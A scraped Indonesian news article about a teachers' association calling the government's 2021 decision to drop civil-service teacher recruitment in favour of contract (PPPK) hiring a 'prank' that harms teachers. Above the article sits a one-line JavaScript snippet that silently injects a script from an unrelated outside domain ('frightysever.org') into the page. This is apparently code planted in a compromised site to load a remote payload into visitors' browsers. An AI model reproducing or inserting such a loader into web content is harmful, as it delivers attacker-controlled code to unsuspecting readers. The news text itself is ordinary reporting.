(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Perhimpunan untuk Pendidikan dan Guru (P2G) menilai keputusan pemerintah tidak membuka penerimaan CPNS guru pada 2021 mendatang adalah bentuk tipuan atau prank tahun baru dari negara yang melukai kaum pendidik.
Koordinator Nasional P2G, Satriwan Salim mengatakan, keputusan ini membuat para guru kecewa. Sebab, mematikan salah satu impian kebanyakan guru untuk menjadi PNS, terlebih para guru honorer yang sudah mengabdi lama.
“Bagi kami para guru, keputusan ini adalah bentuk kado prank akhir tahun yang membuat para guru sedih di penghujung 2020,” kata Satriwan, Jumat (1/1/2021).
Dia menyebut keputusan ini juga berpotensi melanggar UU No. 5 Tahun 2014 tentang Aparatur Sipil Negara (ASN).
Dijelaskan dalam UU tersebut, bahwa ada dua macam kategori ASN: Pegawai Negeri Sipil dan Pegawai Pemerintah dengan Perjanjian Kerja (P3K).
“Jika pemerintah pusat hanya membuka P3K, maka bagaimana dengan status PNS. Sebab UU memerintahkan ada 2 jenis ASN yang mengabdi kepada negara, mengapa hanya profesi guru yang tidak dibuka rekrutmen PNS?,” ucapnya.
P2G juga menilai ada dugaan kuat pemerintah pusat ingin lepas tanggung jawab dari kewajiban untuk mensejahterakan guru, jaminan kesejahteraan guru P3K ini belum jelas.
“Apalagi sifatnya kontrak dengan pemerintah. Misalkan, guru P3K dikontrak 4-5 tahun di sekolah di bawah satu Pemda. Setelah itu, ya mereka selesai kontraknya, di-PHK dan tidak dapat pensiunan dari negara,” lanjutnya.
Satriwan menegaskan keputusan ini bertolak belakang dengan kondisi kekurangan guru secara nasional yang tengah dialami Indonesia bahwa sampai 2024, Indonesia kekurangan guru PNS di sekolah negeri sampai 1,3 juta orang.
Sebelumnya, Kepala Badan Kepegawaian Negara (BKN), Bima Haria Wibisana mengungkapkan bahwa tidak penerimaan CPNS guru pada 2021 mendatang. Yang ada hanya penerimaan guru dengan status PPPK atau Pegawai Pemerintah dengan Perjanjian Kerja.
Bima menjelaskan bahwa Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, Kementerian Pendidikan dan Kebudayaan, serta BKN berencana membuka 1 juta formasi guru berstatus PPPK pada 2021.
“Kami sepakat bahwa untuk guru itu akan beralih menjadi PPPK. Jadi bukan (penerimaan) CPNS lagi. Ke depan mungkin kami tidak akan menerima guru dengan status CPNS, tapi pegawai pemerintah dengan perjanjian kerja,” ujar Bima dalam konferensi pers secara daring.
Bima mengatakan selama 20 tahun terakhir telah terjadi ketidakseimbangan sistem distribusi guru antardaerah secara nasional karena pemerintah membuka formasi guru untuk seleksi CPNS.
Menurut Bima, PPPK dan PNS setara dari segi jabatan. Perbedaan kedua aparatur sipil negara (ASN) itu hanya soal ada atau tidaknya fasilitas tunjangan pensiun.
“Setara, hanya bedanya kalau PNS mendapatkan (tunjangan) pensiun, PPPK tidak mendapatkan (tunjangan) pensiun,” kata Bima.
Namun, BKN mengupayakan untuk membicarakan persoalan itu kepada PT Taspen, sehingga PPPK pun bisa menerima tunjangan pensiun seperti PNS. (suara.com)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.